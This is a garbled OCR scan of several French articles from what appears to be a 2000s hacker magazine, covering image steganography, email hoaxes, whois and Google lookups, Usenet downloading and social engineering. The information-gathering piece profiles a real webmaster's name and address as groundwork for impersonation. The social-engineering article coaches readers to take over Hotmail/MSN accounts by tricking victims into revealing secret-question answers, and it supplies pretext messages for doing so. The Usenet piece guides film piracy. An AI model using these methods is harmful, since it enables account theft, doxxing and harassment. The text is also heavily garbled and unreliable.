en trois nombres codant
le rouge, le vert et le bleu
(dans cet ordre) sans
espace. Ainsi, le rouge
"pur" s'écrit #FF0000
pour "255 (FF) de rouge,
0 de vert et 0 de bleu. Le
bleu donne donc
#O0000FF et le vert
#OOFF00. Et le noir ? Ben
#000000 puisque c'est
l'absence de toute cou-
leur. A l'inverse, le blanc
s'écrit #FFFFFF. Pour
vérifier tout ¢a, vous pou-
vez utiliser Paint Shop
Pro ou Gimp (disponibles




sur telecharger.com ou
gimp.org), ou tout autre
editeur d'image assez
complet.

Sous Paint Shop Pro,
lorsque vous double-cli-
quez sur |'outil de choix
des couleurs, vous avez
alors une boite de dialo-
gue avec un champs
"Code HTML" (voir cap-
ture).

Nuances
invisibles

Nous entrons mainte-
nant dans le vif du sujet.
Puisque vous avez ouvert
Paint Shop Pro, entrez ce
premier code dans
"Code HTML": #F545C6
(vous devez obtenir un
rose-mauve) et validez.
Puis cliquez a nouveau
sur le méme rectangle de
couleur, remplacez le
deuxieéme chiffre de cha-
que composante par O
#F040C0 et comparez la
couleur en cours avec la
couleur précédente (a
droite, voir capture) : il
n'y a quasiment pas de

changement ! Sans fer-
mer, entrez maintenant
le méme code en rem-

plagant les O par des F ;¢
#FF4FCF La aussi, t_e""

changement est quasn«
ment invisible a 1'%l nu.
VYous venez d'appliquer,
sans le savoir, un principe
de stéganographie.

tions
(240) et FF
a que |5 (si,

5, n'est pas énorme
(6%). Avec le mélange

o

des tmis composantes,

du dernier chiffre passe
inapergu.

Application

Pour cacher des données
dans cette image, on va
donc utiliser le dernier
chiffre de chaque cou-
leur pour chaque pixel.

Il est ainsi possible, avec
cette méthode, de
stocker trois nombres
(entre 0 et |5) pour cha-
que pixel. Sachant qu’une
image bmp est compo=
sée.de millions de pixels,

i

¢a nous laisse un bﬂﬁ ;
_espace exploitable !

Godage
Supposons maintenant
que nous décidions d'uti-
liser un alphabet des 256
caracteres.i(e

A-Z, 0-9, accents et quel-
ques caractéres spé-
ciaux). Chaque caractere
correspond alors a un
nombre entre 0 et 255.
Vous voyez ou je veux en
venir : sur chaque com-
posante de |'image, on va
remplacer le dernier

chiffre par un des chiffres
de notre alphabet.
Sachant qu'il faut deux
chiffres hexadécimaux

pour faire le nombre de
notre caractére, il faudra
donc regrouper deux par
deux les derniers chiffres
de composantes lors de
I'extraction.

Dans son Enquéte, {'histo-
rien grec Hérodote (484-

| 445 av. J.-(.) rapporte ainsi

une anecdote qui eut lieu au

§ moment de lo seconde
| guerre médique. En 484 |

avant I'ére  chrétienne,
Xerxes, fils de Darius, roi
des Perses, décide de prépo-
rer une armée gigantesque
pour envahir lo Gréce (Livre [8
VI, 5-19). Quatre ans plus |
tard, lorsqu'il lance I'offen-
sive, les Grecs sont depuis

[ longtemps au courant de ses
intentions. ~ C'est  que
Démarate, ancien roi de
Sparte réfugié aupres de
Xerxeés, o appris 'existence
de ce projet et décide de
transmettre l'information o
Sparte (Livre VII, 239) : « il
prit une tablette double, en
gratta la cire, puis écrivit sur
le bois méme les projets de
Xerxés : ensuite il recouvrit
de cire son message : ainsi
le porteur d'une tablette
vierge ne nsquun pus d'en-
nuis ». FD j




Action

Prenons I'alphabet sui-
vant (0 sera le code pour
l'espace) :

Quelles images choisir ?
L'idéal est une image qui
possede beaucoup de
couleurs  différentes,
comme une photo. En
effet, si I'image est trop
unie (exactement la
méme couleur sur beau-
coup de pixels), on ris-
que -de voir les légeres
variations apparaitre, les-
quelles sont invisibles
avec une photo. Préférez
également les photos
personnelles a celles
trouvées sur Internet,
car ainsi il est impossible
de comparer la photo
modifiée a son original,
ce qui pourrait éveiller
des soupgons si elle tom-
bait dans de mauvaises
mains. Dernier critére ;la
taille. En effet, la techni-
que ci-dessus exige que
la taille de l'image soit
suffisante pour stocker
lintégralité du message.
Je vous conseille de vous
faire une réserve per-
sonnelle d'une dizaines
d'images, afin de ne pas
faire circuler toujours la
méme image, ce qui
pourrait également sou-
lever des questions.

€Conclusion

Nous avons donc vu
comment cacher du
texte dans une image.
Sachez cependant que
cette technique n'est pas
la seule dans le domaine
de la stéganographie. |l
en existe d'autres,
notamment celle du
Slack Space, qui permet
de cacher des données

Décimal |0 Lol e b 05 DR Y 8- LR Bl DS
Hexa 00 | 39 A RB L P34 L BE B P
Caractére espace b b . kE h b RN 9 S

On réserve un nombre (par exemple 255) pour indiquer la fin du message.

Le message a cacher : ,

Caractére | C | e | ¢ | i BEEERIED SRR EE
Décimal 2815 9:4:01.5 < o

Hexa 1C] 051 03]09] 00} 05 etc.

Ce qui nous donne, en hexa :

IC 0503 09 00 05

Notre image commence par quatre pixels noirs :

#FFFFFF #FFFFFF #FFFFIFE #FFFEFF

On la modifie comme suit :

#F1FCF0 #FSFOF3 #FOF9FQ #FOFOF5

et ainsi de suite...

On obtient ainsi une nouvelle image, avec le texte caché a l'intérieur.

Pour en extraire le texte, on fait exactement l'inverse :

#F1PCFO #P5P0F3 #FOF9F0 #FOFOFS. ..

§FLFCFQ #FSFOF3 4#FOFOF0 #FOFOFS...

Hexa 1C 05 03 09 00 05 etc.
Décimal 28 : 9 0 5 ete.
Caractere C e ¢ i ete.

dans les espaces non-uti-
lisés par un fichier (quel-
que soit sont type).

Notez également que, si
dans l'exemple ci-dessus
on a inséré du texte, il

est possible de cacher
d'autres type de don-
nées.

Eks

L

La manipulation présentée ci-dessus est hien
évidement destinée a vous faire comprendre
une fechnique de stéganographie, et non o
étre employée pour cacher effectivement vos
données, car en plus d'étre tres basique
(quelqu'un qui la connait trouvera facilement
le message caché), elle est manvelle, donc
longue et fostidieuse.

Il existe pas mal de logiciels gratuits qui se

feront un plaisir de cacher vos données dans
tous types fichiers, et pas seulement des ima-
ges. Je vous conseille I'excellent Steganozorus

omasnerrantcorry, par 'auteur de
Engine

(hty
Cryptozor) ou encore Secure
(hty rengineisecurelabs.comy).
Il existe également deux outils libres particu-
lierement poussés : steghide

ghide.sourceforc




eut-étre véhiculez des fausses
sans le savoir. Soyez attentif,
as les intérét d'un spin doctor, ou sim-
plement d'un plaisantin.

Hoaxkiller

Qu'est-ce qu'un hoax? | Conseils pour la recherche | Soumettre un hoax

Un hoax, ¢a
ressemble

a quoi ?

Les hoax sont présents
sous forme écrite. Vous
pouvez les rencontrer
par message instantane,
sur des forums, par cour-
rier électronique ou
méme sur des t'Chats.
Les hoax sont des mes-
sages la plupart du temps
alarmistes, et moins sou-
vent réalistes. |l peut
arriver qu’ils soient
accompagnés de preuves
(qui ont l'air bien réelles)
sous diverses formes
simples images, petites
vidéos, témoignages, etc.

Voici un exemple qui,
d’'aprés les mémoires,
semble Il'un des plus
humoristiques :

« Dis a tous les contacts
que tu as de ne pas
accepter |le contact

C'est | virus qui va for-
mater ton ordi!lenvois
ce message a tous les
gens ke tu a dans ta liste
msn!! si tu ne la fais pas
et qu'l de tes amis le
rajoute a ses contact, ton
ordi sera aussi atteint!!!!
Donc envoye le vite ! »

Il s’agit bien sGr d'un sim-
ple copier/coller, nous ne
sommes pas responsable
des fautes d’orthogra-
phes :-p

Comme vous pouvez le
deviner, . un  simple
contact ne pourra jamais

Vous recevez, et
rumeurs par mail,

ne servez

# Rechercher par mots-chés  Rechercher par texte intégral

-

:J.

Recherche Homddllertr |

Premiére waite ? Unlisez Hoaxkiller. fr on quelques secondes aver la vigite guidée |

Yisite quidée |

formater votre ordina-
teur, il faudrait qu’il vous
envoie un fichier pour le
faire, et encore...

(ou alors voir page 3)

A la base ce hpax wsalt
suremem a nun‘e

s qui
tte adresse

dire de trouver le pomt-

qui vous touchera !

monsieur

Hoax péut vous attein-
dre différents

- par

Copyright © 2001-2004 Hoaxkiller fr

: ;temalgnages,
ont dii

moyens. Avec des chai-
nes de solidarité (tsu-
nami, etc).Avec des faus-
ses informations (genre

greve de msn, parce que
crosoft voudrait le ren- |

| dre payant) Ou encore : |

es pétitions, des arma-
ques, des avis de recher-
ches des boycotts, des

rumeurs, des légendes
urbaines, etc.

Les VIROAX,

- ¢’est quoi ?

Il ne s'agit pas d'un virus
comme on peut le croire
mais d’'un hoax particu-
lier. Ce hoax va ramener
votre crédulité au point
le plus bas ! =

Voici un exemple :

« ATTENTION VIRUS !
La majorité des utilisa-
teurs d'Internet yont étre
contaminés, si ce n'est
déja fait, par un virus

nommeé: sulfnbk.exe qui
est redoutable car écra-
sant votre disque dur je
viens de le détruire sur
mon propre disque dur, il
etait déja la.

Procédure: dans menu
démarrer: . rechercher
fichiers ou dossiers et

" yous saurez si vous l'avez.
Dans ce cas, allez le cher-

cher, cliquez une seule

fois dessus et supprimez
‘le.Allez ensuite dans cor-

beille et supprimez le
contenu de la corbeille.
Je vous incite trés forte-
ment a vérifier si ce virus
est de;a sur votre disque
dur car il devrait étre
activé le 25 mai.

Bien a vous.»

C'est maintenant que les
hoax commencent a étre

_vraiment dangereux. Cet

exemple en a poussé
plus d’'un a effacer le
fichier « sulfnbk.exe »,
alors qu'il ne s'agissait
que d'un simple utilitaire
de Windows 98. Et sou-
vent, c'est un fichier sys-
téme nécessaire au bon
fonctionnement de
I'OS...

Dans 99% des cas, les
annonces de virus de ce
type sont fausses.

Xelory
hoaxbusotg_r




Tout savoir d'y

es méthodes de col-
lecte d'information
“Wsont nombreuses et
trés diverses. Nous nous
arréterons ici a une
approche logicielle et
technique du probléme.
Cependant, on peut sou-
vent aller beaucoup plus
loin avec un simple téle-
phone public et un peu
d'ingéniositeé.

Prenons ce site comme
exemple :

Son
webmaster prend tous
les jours une photo de
lui, a heure fixe. Je suis un
fan et je veux le contac-
ter, comment m'y pren-
dre ? C'est un jeu d'en-
fant...

En naviguant sur le site,
on remarque une version
anglaise. En s'y rendant,
on voit que |'adresse
change:

1OG De
toute évidence, ce nom
de domaine appartient a
notre homme.Voyons ce
que l'on peut en tirer.

Whois ?

Lorsqu'on achete un
nom de domaine, on en
est responsable, c'est
pourquoi on doit donner
ses coordonnées. Il faut
cependant étre conscient
que ces données person-
nelles sont en principe
accessibles a tous, par

La

collecte d'information est une étape clé en

matiere d'intrusion, mais qui peut aussi étre utile
dans d'autres contextes. Découvrez quelques
techniques de base, faciles a essayer, et qui per-
mettent d'apprendre une foule de choses a partir
d'un simple site web.

3 ¥d Traceroute 1.86.81:232
[

Query 09h09.com at w ois . booknynane . con
%% BookMyName Vhois version 1.0

%%

: 09h09.com (HCOM5-BMN-DOM)
. BookMyNane

. whois . booknynane . com

. https: 77www, bookmyname . con

Registrant / Admin Contact :
\PERSON :

une simple consultation
du serveur whois appro-
prié. Pour trouver a qun
appartient '\ hogam,
nous allons utlllser le
logiciel 3D Traceroute,
un freeware disponible
sur Ie web -

o mais
on pourralt aussi utiliser
des serwces online,
comme 1P jalwnoisaor

Nous allons utiliser deux
fonctionnalitées de ce
programme : d'abord le
whois, puis le tracing.

Les informations sur les
noms de domaines sont
centralisées sur plusieurs

e

serveurs whois princi-
paux. Pour les .COM, par

exemple, on utilise
Pour I'Europe, c'est
wiolsripenet Il y a quel-

ques anneées, ces ser-
veurs contenaient toutes
les informations, mais
avec I'explosion
d'Internet, ce sont les
revendeurs de noms de
domaines qui gardent les
détails personnels. Ainsi,
une requéte  pour
09h10.com chez Internic
nous apprend que les
infos se trouvent sur
whois.bookmyname.com
. On entre donc le nom

de ce serveur dans le
champs approprié de 3d
Traceroute, comme on le
voit dans l'illustration.

On trouve dans le résul-
tat des informations tres
intéressantes. En voici un
extrait, certaines infor-
mations étant effacées
pour des raisons éviden-
tes de discrétion (ces
données sont cependant
publiques) :

Domain Name :
09h10.com
Registrant /
Admin Contact :
Jean-Michel
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20, rue du
Kl ok ik KoKk ek K.k
75014 Paris
FRANCE

phone

R 3T AT ] ke y

Impressionnant, non ?
On a son nom, prénom,
adresse, et téléphone. Ca
fait déja pas mal d'infos,
mais moi je suis un fan,
un vrai, alors je veux tout
savoir sur lui ! Pour cela,
on va faire appel a un
outil surpuissant :
Google !

Google
Iindiscret

On lance la recherche :
« Jean-Michel *¥k
(essayez avec votre nom,
vous pouvez étre surpris !).
On trouve son site
perso, allez on y va, peut-
étre trouverons-nous
des infos... Bingo ! On est
déja sir que c'est bien lui
avec les photos, et la liste
de ses autres sites le
confirme (09h10.com est
la). On trouve aussi sur
ce site sa généalogie
compléte. Ce sont des
informations extréme-
ment utiles lors d'une
attaque par social engi-
neering. N'étes-vous pas
en confiance quand
quelqu'un vous parle de
la part de votre cousin
ou de votre tante !

Toutes ces informations
peuvent étre exploitées. Et
on a les coordonnées de
son responsable techni-
que, imaginez pour qui on
pourrait se faire passer ;)

Traceroute

avoir indigué 09h10.com
dans le  champ de
I'adresse, allez dans 'on-
glet « as List » et cliquez
sur trace. Le logiciel va
tracer la connexion
jusqu'a sa source. Mais
que se passe-t-il exacte-
ment ? En fait, c’est le
principe d'Internet, la
toile; quand vous tapez
une adresse dans votre
navigateur, votre ordina-
teur ne se connecte pas
directement au serveur
qui héberge le site.
Réfléchissez, quand vous

allez en vacances a la
plage, vous allez passer

par plusieurs routes. Ces .
routes, ce logiciel les
trouve et vous les affiche |
~dans I'ongl
Les routes du milieu ne |
_sont pas vraiment inté-
Toujours avec le logiciel | ‘
3D Traceroute, apres |

'ongle

s List ».

ressantes a étudier, mais
les dernieres apy

X
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informations importan-
tes sont grisées), ce sont
en fait les petites routes

| que vous prenez en sor-
tant de l'autoroute pour
arriver a la plage...

Le serveur se trouve
donc'a Paris... Mais ce
n'est pas si étonnant que
¢a, puisqu'il est hébergé
par Yonline.

Il n'est pas toujours facile de maitriser foutes les informations
personnelles que nous laissons sur le Net. Le mieux est de ne
donner ces informations que lorsque c'est absolument néces-
saire. Pour cela, I'idéal est de s'inventer une ou plusieurs iden-
fités & 'étranger : un nom, une adresse, un numéro de télé-
phone imaginaires que vous réutilisez partout.

Min de savoir @ quoi s'en tenir, il est bon de faire assez régu-

licrement une recherche Google sur ses noms et prénoms,
adresse ou numéro de téléphone. Vous étes normalement en
droit d'exiger du responsable d'un site (vous savez mainte-
nant comment le contacter :-) de supprimer I'affichage public
d'informations privées vous concernant.




» bob : "Salut, cova ?

o 3vil : Wé, é toi blablablo
[récit des vacances chez
mamie coupé par respect pour
les leceurs]...

« bob : Ok c'est kewl,
raméne-moi un plan de fomao-
tes la prochaine fois

o 3vil : ) Roach co
m'énerve, je vais devoir sortir
le chien, c'est sympa comme
bestiole mais il faut s'en occu-
per :/. T'as des animaux foi ?
« bob : Wé, j'ai trois chats,
un chien ef-un poisson rouge.
o 3vil : Eh ben t'as du courage
:p s s'appellent comment ?

» bob : Robert, Maurice,
Bertrand, Boulette ef King
Kong )"

Et voila : 3vil, qui connais-
sait la question secréte de
Bob ("Quel est le nom de
mon animal de compagnie
favori "), n'a plus qu'a tes-
ter tous les noms. S'il avait
demandé clairement
"Lequel est ton favori ?",
ou s'il avait débuté la
conversation  différem-
ment, bob aurait pu se
douter de quelque chose.
Evidemment, ce dialogue
est fictif. Mais des gens se
font avoir tous les jours a
ce petit jeu.

€'est quoi,

le social
engineering ?

Le social engineering (dit
SE), d'un point de vue
gl"OSSiEI" et sans entrer
dans les subtilites (ce
- que Qous ferons plus

Cet article montre, du point de vue de l'attaquant,
comment un compte hotmail ou msn peut étre usurpé
tres simplement, sans la moindre intrusion au sens

technique du terme.

tard), c'est l'art du barati-
nage. Il peut s'agir de se
faire passer pour une
autre personne, d'inven-
ter des situations, des
prétextes, tout ¢a dans le
but de retirer des infor-
mations, comme par
exemple un mot de
passe, des informations
personnelles ou, dans le
cas qui nous intéresse
aujourd'hui, la réponse a
la question qui peut
changer vos mots de
passe. Attaquons le gros
du sujet, méme si c'est
un sujet plutot fin (si
vous me permettez le
jeu de mots :p)

Le cété
technique
Comme vous le savez
certainement, si vous
étes aussi téte en lair

que moi ou que vous
avez déja tripatouillé un

peu Hotmail histoire
d'en découvrir tous les
secrets, Hotmail possede
un systeme de change-
ment de mots de passe
basé sur une question
secréte et une réponse
tout aussi secrete (enfin
¢a, c'est ce que nous
allons voir :p) Yous avez
donc compris que c'est la
que le SE va étre bien
utile, car il vous faudra
ruser afin d'obtenir cette
réponse. Mais avant toute
chose, ne vous faites pas
d'illusions, ca ne marche
pas a tous les coups, la
réponse peut trés bien
étre sans rapport pour
brouiller les pistes.

Voyons déja comment
accéder a cette fameuse
question secréte, car

LECRATKITU 2005

c'est la moindre des cho-
ses a savoir (si, si, j'vous
assure). C'est trés simple,
il vous suffit de rentrer
dans votre navigateur
lcom”, d'en-
trer dans "Adresse de
messagerie” 'adresse de
la présumée future vic-
time, dans "Mot de
passe” un mot de passe
bidon (notez-le au cas ou
ce serait le bon :p), et de
cliquer sur "Connexion".
Vous atterrissez ensuite
sur une page vous infor-
mant que le mot de
passe est erroné, avec
deux URLs vous propo-
sant soit : de vous ins-
crire a .NET Passport,
soit de créer un nouveau
mot de passe.

C'est cette derniére
option qui nous inté-
resse. On vous invite

Av.hotmai




er son MSN hetement

ensuite a entrer le pays
de l'utilisateur. La encore,
si l'utilisateur a choisi un
pays au pif, ou vous choi-
sissez une autre victime,
ou vous faites tous les
pays, en prenant soin de
noter chaque pays pour
ne pas le refaire plus
tard. Vous rentrez donc
les infos demandées, et
la, vous arrivez a la
fameuse question
secrete, qui vous per-
mettra avec la bonne
réponse de changer les
mots de passe de la vic-
time. Nous allons donc
trouver comment souti-
rer les informations a
votre cible, sans l'agres-
ser en pleine rue a la
batte de base-ball.

Les risques

Plusieurs cas de figure
s'offrent a vous, vous
connaissez la cible et
vous discutez avec elle
sur msn, vous connaissez
la cible qui vous a bloqué
sur msn, vous ne
connaissez pas la cible
qui n'a pas msn, etc. Mais
dans tous les cas, une
chose qu'il ne faudra sur-
tout pas oublier, c'est la
ruse et la subtilité (enfin
deux choses quoi :p) Si
vous sortez en plein
milieu de la conversation
: "Eh vieux, c'est koi le
nom de ta daronne ",
vous allez perdre 95 %
de chances de réussite et
détériorer de fagon criti-
que vos relations avec

cette personne. |l faut
donc y aller doucement,
et amener la conversa-
tion sur le sujet qui vous
intéresse. Beaucoup de
personnes a qui l'on
explique plus ou moins le
SE se voient tout exci-
tées et se jettent sur le
premier nom de leur
liste de contacts, posent
leur question sans méme
réflechir au fait que leur
interlocuteur leur racon-
tait ses derniéres vacan-
ces au potager de

"bonnes" conditions une
question mal posée bra-
que, mais alors la c'est
encore pire (une mamie,
c'est sacré voyons).
Donc attendez patiem-

ment qu'il aitfi ni de vous
déblatérer ses histoires,

puis tranquillement mai
fermement (pas tro

ferme non plus :p) glissez

une légeére allusion, puis
développez. Autre cas,
admetths que vous ne
connanssuez pas la vic-
time, qu'elle dispose
d'une adresse Hotmail et
qu'elle ait MSN
Messenger. Il est beau-
lus recommandé
un mail, car le
coup du “un contact m'a
filé ton adresse, mais je
sais plus qui” ca éveille
(trés légerement) les
soupgons. Comme la vic-
time doit certainement
avoir une passion, un site
web, ou quelque chose

vez vous faire passer pour

gourou, un gars sympa (ou

victime, etc. Aprés un peu

comme ¢a (renseignez-
VOUS auparavant), vous pou-

un fan de son site qui vou-
drait en savoir plus sur son

une fille, ga marche méme
encore mieux :p) qui par-
tage la méme passion que la

de pratique, vous trouverez
vite de nouveaux moyens
darriver a vos fins; Mais une
fois encore; n'oubliez pas.
d'étre'fin.

Montrons cette fois com-

Bien sir ces exemples
sont a adapter aux situa-
tions.

Conclusion

En bilan, souvenez-vous
que ces exemples ne
sont qu'au nombre de
deux pour les centaines
de.situations possibles.

'Et souvenez-vous aussi

que le SE peut étre appli-
cable a tous les domai-
nes (sauf a la Frangaise

| des Jeux peut-étre) !
y | Alors méfiez-vous :-)

mamie, sujet qui lui tenait | Autre exemple | :
a clur. Déja que dans de

ment cela peut se
faire par mail. La vic-
time possede un site,
question secreéte. i
"Quelle est-ma cou

.JOB

_ta kQ
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@ Ellie

| @ Harper
| © Rachel

@ Anne
Srile!

Anne Smile!

Anne: | heard a rumor they're
buitding an Iklivoice service

Joe: I'l belleve itwhen | ses it
Anna: You can hear it.. Call me!

Calling Anne at 407 Pi on
Wednesday

de ce site génial [ai
donc quelques questions
concernant votre vie de
tous les jours (si bien sir
vous acceptez dYy répondre).
Quels sont vos hobbies, depuis
combien de temps faites-vous
de linformatique, avez-vous
un autre site web ? Et pour
terminer par une petite ques-
tion hors sujet, quelle est votre
couleur préférée ? :p Merdci
d'avance pour vos réponses :)

a+++++
Un fan ”

SEelels le f Ik

Si  vous fmtes plus
confiance @ Google qu'a
Microsofi, essayez Google
Talk. Sa technologie repose
sur des protocoles ouverts
(sans brevet ni secret),
done plus efficaces et plus
sirs pour ses utilisateurs.
hitpyinwvgoogearmytalk/




Un peu
d'histoire
Usenet, quésaco ?
En — vraiment — résumé,
Usenet est le plus gros
systeme d'échanges
décentralisés existant.
C'est un ensemble de
machines reliées entre
elles, qui se transmettent
des articles diffusés sur
des groupes de discus-
sion ou “ newsgroup .
En pratique, dés lors que
vous vous étes connecté
sur un serveur de news,
vous téléchargez la liste
des newsgroups disponi-
bles sur ce serveur. Ces
groupes sont en réalité
tres similaires a des
forums traitant chacun
d'un sujet précis, avec
des noms hiérarchisés
par catégorie, a plusieurs
degrés, qui permettent
une identification rapide
et intuitive des groupes.
Les huit principales caté-
gories (The “ Big Eight ")
sont les suivantes :
o comp.”: computes, on y
parle donc d'informatique,
s misc.”: comme miscello-
neous, sujets divers,
» news. " pas besoin de présions...
o rec.”: récréation, pour fout
ce qui est loisirs,
» sci.”: sciences,
» soc. " sodial, qui traife de société,
» talk.™: talk, pour les sujets
controversés, les débats,
» humanities.™: pour l'art, lo
littératures, la philosophie.

De nombreux réseaux d'échange ont déja périclité :
Napster, Audiogalaxy. D'autres suivront. Justement,
saviez-vous qu'il est possible d'échanger des fichiers
sans passer par Kazaa ou Emule ? |l existe en effet de
nombreux autres moyens de faire transiter des
fichiers... Nous vous présentons, dans cet article,
celui qui offre les meilleures possibilités puisqu'il est
en effet doté de deux avantages majeurs, la vitesse
et le fait de reposer sur un médium presque aussi

vieux qu'internet.

La catégorie qui va nous
intéresser tout au long
de cet article est celle
des alt* (comme alter-
native) et plus particulie-
rement les alt.binaries
(pour binaires). C'est
dans ces newsgroups que
vous trouverez des
fichiers : images, mp3,
archives, iso...

Apres avoir sélectionné
un groupe et vous y étre
abonné, vous pourrez
consulter tous les arti-
cles (les messages) pré-
sents sur ce groupe, Si
vOus postez un message
sur le groupe d'un ser-
veur donné, il sera auto-
matiquement transmis
aux autres serveurs
reliés a celui-ci. Ces ser-
veurs le transmettront a
d’autres, et ainsi de suite.
Voila du p2p (pair a pair),
mais au niveau des ser-
veurs et plus des clients.
Votre article sera donc
disponible a partir de
n'importe quel serveur de
news pendant un certain

temps. En effet, chaque
serveur aillant une quan-
tité d’espace de stockage
fixe, les messages sont
effacées au fur et a
mesure, par date d'anté-
riorité. En pratique, les
messages restent consul-
tables de quelques jours
a plusieurs semaines,
selon les serveurs.

A quoi ¢a sert ?

Le but premier de
'Usenet était I'échange
d’informations. Mais la
mode, dans ce créneau,
est plutét aux forums
que nous connaissons
tous, sur le Web,
Cependant  I'Internet
offrant sans cesse de
nouvelles possibilités, il
est désormais plus sim-
ple qu'auparavant d’ajou-
ter des fichiers binaires
aux articles (I'uuencode
¢a va 5 mn). Sachant que
personne ne contrdle
vraiment 'Usenet, si un film
est posté sur un serveur,
tous les autres serveurs

pourront le mettre a dis-
position. On aurait diffici-
lement pu réver mieux
sachant que lorsque nous
téléchargeons un film sur
les serveurs de free, la
vitesse de transfert peut
dépasser les 800Ko/sec.
On peut donc dire adieu
a E-mule, BitTorrent et
consorts pour passer au
download trés haut débit
! Encore mieux, nous
n‘envoyons aucune don-
née, contrairement au
cas du P2P ! Or, a en
juger par la jurisprudence
actuelle, le simple fait de
télécharger des luvres,
tant qu'il n'y a pas
d'upload, ne vous place
pas dans ['illégalité : c'est
le droit a la copie privée.
Attention toutefois, le
téléchargement de logi-
ciels sans l'accord de leur
éditeur demeure illégal.

Ga déchire ! Mais ou
sont les serveurs ?

Certes vous devez com-
mencer a étre alléchés
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par toutes ces nouvelles
perspectives, mais la pre-
miére question a se
poser est : quel serveur
de news utiliser ? Eh

blesse ! Car en France,
seul Free donne a ses
adhérents un accés a ses
serveurs de = news.
Certes le taux de réten-
tion (nombre de jours au
| cours desquels les arti-
cles sont stockés) est fai-
ble, mais le débit est illi-
mité (jarrive a I mo/sec).
Pour les autres, il faudra
passer par des offres
payantes ou par des ser-
veurs ayant des limites
de dl trés faines
(Igo/mois gratuit pour
yottanews par exemple).
Avec quelques serveurs
et quelques mails diffé-

bien, c'est la que le bat

rents, on peut tres bien
s'en SOrtlr Mans si vous

tée ;zaur 10.
Voici quelqu

sur cette page ou la
suwante -

au teéléchargement. Mais
tout bon cosmonaute
doit se. munir d’'un bon
vaisseau (j'ai une bron-
chite donc la, ce sont les
séquelles de la fiévre).
Bref, pour télécharger, il

‘yous faut un bon client

NNTP. La encore, c'est
comme les golits et les
couleurs, ¢a ne se discute
pas. Les windowsiens uti-
liseront sans doute plus
facilement “ Grablt " qui
est le plus simple des

clients tandis que les

linuxiens se dlrlgeront
plus naturellement vers '
pan " ou * Klibido ".
Voici la méthode généri-

que ' d'utilisation des
 clients, avec l'exemple de

Grablt. Si votre client dif-
fere Iegerement je suis

,_sﬁr qu'en passant 10 mn

SSUS vous trouverez.

S ornsber vol023419 PARY




Par contre, si vous pas-
sez une heure a vous
plaindre comme quoi ¢a
ne marche pas, je pense
qu'effectivement... ¢a ne
marchera pas !
Alors une fois le client
lancé, il faut spécifier le
serveur. On cherche
donc un onglet *“ ADD
SERVER ”. Pour Grablt,
on effectue un clic droit
sur “ my Grablt ”. On
ajoute notre serveur
(pour les freenautes,
par exemple),
ainsi que nos login et
password si besoin. Ne
touchez pas au reste,
sauf si vous savez ce que
vous faites, excepté pour
le nombre de
connexions maximum
que VOus pouvez Speci-
fier en fonction du ser-
veur. La plupart des ser-
veurs en supportent qua-
tre, ce qui est parfait. Au-
dela, il n’y a plus de gain
de rapidité, donc plus
trop d'intérét. Une fois
votre serveur spécifie,
cliquez dessus et faite un
* update grouplist ” ou
un “ refresh grouplist ".
Patientez quelque temps,
cela peut étre long. Une
fois la mise a jour termi-
née, la liste des news-
groups disponibles sur ce
serveur apparait.
Attention, certains ser-
veurs publics filtrent des
groupes précis comme
les alt.binaries.
Abonnez-vous aux grou-
pes qui vous intéressent
(clic droit et suscribe ).
Une fois les groupes
sélectionnés, cliquez sur
update groups .
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Encore une fois, ¢a peut
prendre un

certain

temps, mais ¢a vaut telle-
ment le coup... Apres
quelques minutes, vous
verrez apparaitre dans
Ponglet “ articles ” tous
les articles de ce groupe.
Faites une recherche sur
un film dans * alt.bina-
ries.divx.french ”, sélec-
tionnez tous les fichiers
portant ce nom et com-
mencez le télécharge-
ment. Par tous les éle-
ments, jentends les
fichiers .rar .r* mais aussi
par2 (clic droit “ grab
selected articles ”). Eh
oui, 'Usenet ne suppor-
tant pas les fichiers excé-
dant les 50mo, les gros
fichiers sont scindés en
plusieurs parties !

Au bout de quelques
minutes, voire quelques
heures, vous aurez récu-
péré votre film ! Elle est
pas belle, la vie ?

Mais c'est vide !

Effectivement, ce n'est
pas comme E-mule. Il ne
suffit pas de faire une
recherche pour la voir
systématiquement abou-
tir aprés quelque temps
(quel euphémisme...).
Ca fonctionne plutot
comme bit torrent. Les
articles ayant une durée
de vie limitée, il faut
regarder ce qui est pro-
posé a un instant T et le
télécharger. Ne vous
inquiétez pas  pour
autant, le choix est trés
vaste et il existe de mer-
veilleux sites, comme

' qui reéperto-
rient tous les films,
albums, DVD, jeux, iso,
etc. postés‘ sur tel ou tel
groupe. Bien sdr, les arti-

cles n'y sont disponibles
que pour un temps
donné. Il faut donc les
consulter assez régulie-
rement. Cependant, je
vous assure que le choix
est tres large, vous trou-
verez donc sans trop de
probléme votre bonheur.

Conclusion

Il est vrai que cette tech-
nique de téléchargement
peut paraitre quelque
peu complexe de prime

pas cependant que la
situation juridique sur les
téléchargements n'est
pas encore claire, alors
méfiance. Il est tout de
méme intéressant a
noter que seul Free
laisse un acces complet
alix newsgroups pour
ses clients, et partiel
pour ceux qui ont sim-
plement un compte (pas
Adsl) en retirant bien slr
les alt.binaries.*. L'intérét
commercial supplante-

rait-il la
Affaire a suivre...

abord, mais on la mai-
trise trés rapidement et
avec dextérité. N'oubliez

Ca y est, vous avez commencé d lire cet article il y a 20 mn ef
déja votre premier film est téléchargé | Mais que faire ? Vous
avez devant vous une multitude de fichiers rar et quelques
par2. Il vous faut désormais QuickPar ef WinRaR. Si I'ufiliso-
tion de WinRar paralt évidente @ ce moment précis, celle de
QuickPar I'est beaucoup moins. QuickPar est un logiciel de
création de volumes de parité de vos archives afin d'en véri-
fier 'intégrité mais aussi de les récupérer en cas de corruption
de fichier. Eh oui, il est fréquent que certaines parties de |'or-
chive soient corrompues lors du téléchargement.

Griice @ QuickPar, vous pourrez donc vérifier que toutes les
parfies de votre téléchargement sont bien rapatriées et que
rien n'est corrompu. Dans le cas contraire, vous pourrez alors
réparer |'archive endommagge, voire, encore plus fort, recréer
un bout darchive manquant. Cet outil est tout simplement
génial et fonctionne parfaitement. Cependant, je vous
conseille de I'utiliser sur de grosses configurations. En effet,
sur un Athlon 1Ghz, je n'arrivais pas a réparer systémafique-
.ment fous mes fichiers. J'ui donc tout envoyé sur ma béte de
course, mon P4 3.2Ghz HT, et la, nickel, j'oi récupéré les
fichiers qui me posaient probleme ! Pour I'utilisation, rien de
plus simple : double-cliquez sur le fichier par2 principal et
c'est parti | Attendez quelques minutes et vous verrez, en
orange, les fichiers corrompus et, en rouge, les manquants.
Une fois I'analyse terminée, cliquez sur réparer ef patientez
encore un peu. Cest fini ! Vous n'avez plus qu'a décompres-
ser votre archive, il n'y aura aucun souci sauf peut-éire le
